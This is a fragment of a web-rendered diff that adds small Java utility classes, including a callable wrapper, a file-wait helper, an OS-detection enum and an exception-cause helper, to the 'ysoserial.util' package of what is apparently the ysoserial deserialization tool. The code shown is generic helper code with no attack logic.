public void after();
|
||||
}
|
||||
|
||||
public static class Wrapper<T> implements Callable<T> {
|
||||
private final Callable<T> callable;
|
||||
private final BeforeAfterCallback callback;
|
||||
|
||||
public Wrapper(Callable<T> callable, BeforeAfterCallback callback) {
|
||||
this.callable = callable;
|
||||
this.callback = callback;
|
||||
}
|
||||
|
||||
@Override
|
||||
public T call() throws Exception {
|
||||
try {
|
||||
callback.before();
|
||||
return callable.call();
|
||||
} finally {
|
||||
callback.after();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static <T> Callable<T> wrap(Callable<T> callable, BeforeAfterCallback callback) {
|
||||
return new Wrapper<T>(callable, callback);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
package ysoserial.util;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
public class Files {
|
||||
public static void waitForFile(File file, int timeoutMs) throws InterruptedException {
|
||||
long timeout = System.currentTimeMillis() + timeoutMs;
|
||||
while (! file.exists() && System.currentTimeMillis() < timeout) {
|
||||
Thread.sleep(10);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package ysoserial.util;
|
||||
|
||||
public enum OS {
|
||||
WINDOWS,
|
||||
LINUX,
|
||||
OSX,
|
||||
OTHER;
|
||||
|
||||
private static final OS os = determineOs();
|
||||
|
||||
public static OS get() {
|
||||
return os;
|
||||
}
|
||||
|
||||
private static OS determineOs() {
|
||||
String osName = System.getProperty("os.name", "other").toLowerCase();
|
||||
if (osName.contains("windows")) {
|
||||
return WINDOWS;
|
||||
} else if (osName.contains("mac os x")) {
|
||||
return OSX;
|
||||
} else if (osName.contains("linux")) {
|
||||
return LINUX;
|
||||
} else {
|
||||
return OTHER;
|
||||
}
|
||||
}
|
||||
|
||||
public static String getTmpDir() {
|
||||
return System.getProperty("java.io.tmpdir");
|
||||
}
|
||||
}
|
||||
+4
-4
@@ -1,8 +1,8 @@
|
||||
package ysoserial;
|
||||
package ysoserial.util;
|
||||
|
||||
public class Throwables {
|
||||
public static Throwable getInnermostCause(final Throwable t) {
|
||||
final Throwable cause = t.getCause();
|
||||
return cause == null || cause == t ? t : getInnermostCause(cause);
|
||||
}
|
||||
}
|
||||
return cause == null || cause == t ? t : getInnermostCause(cause);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user